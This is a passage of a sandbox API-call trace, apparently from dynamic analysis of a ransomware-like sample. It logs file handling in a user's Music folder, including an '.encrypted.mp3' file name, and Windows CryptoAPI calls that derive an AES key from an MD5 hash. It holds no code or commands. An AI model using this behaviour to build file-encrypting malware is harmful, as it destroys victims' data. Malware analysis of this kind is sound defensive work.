wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6701) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.955] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1a2d, lpOverlapped=0x0) returned 1 [0026.955] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6701) returned 1 [0026.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.encrypted.mp3\r\n", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0026.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.encrypted.mp3\r\n", cchWideChar=52, lpMultiByteStr=0xe8f404ba10, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 52 [0026.956] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40512c0*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40512c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x33, lpOverlapped=0x0) returned 1 [0026.956] CloseHandle (hObject=0x1fc) returned 1 [0026.957] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.957] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.957] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.957] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.957] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.957] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.958] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.959] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.960] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.960] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.960] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0026.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3", cchWideChar=45, lpMultiByteStr=0xe8f404bf10, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3", lpUsedDefaultChar=0x0) returned 45 [0026.961] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\sy4u8t-k4v-tx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0026.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0xe8f4062330, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.mp3") returned 45 [0026.961] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.962] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.962] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.963] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.963] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.963] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.963] CloseHandle (hObject=0x1fc) returned 1 [0026.963] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.963] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.963] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.963] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.964] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.964] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.964] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.964] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.965] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.965] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.966] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.966] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.966] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.966] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.967] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.967] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.967] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.967] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.967] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.967] CryptDestroyHash (hHash=0xe8f4062640) returned 1 [0026.968] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 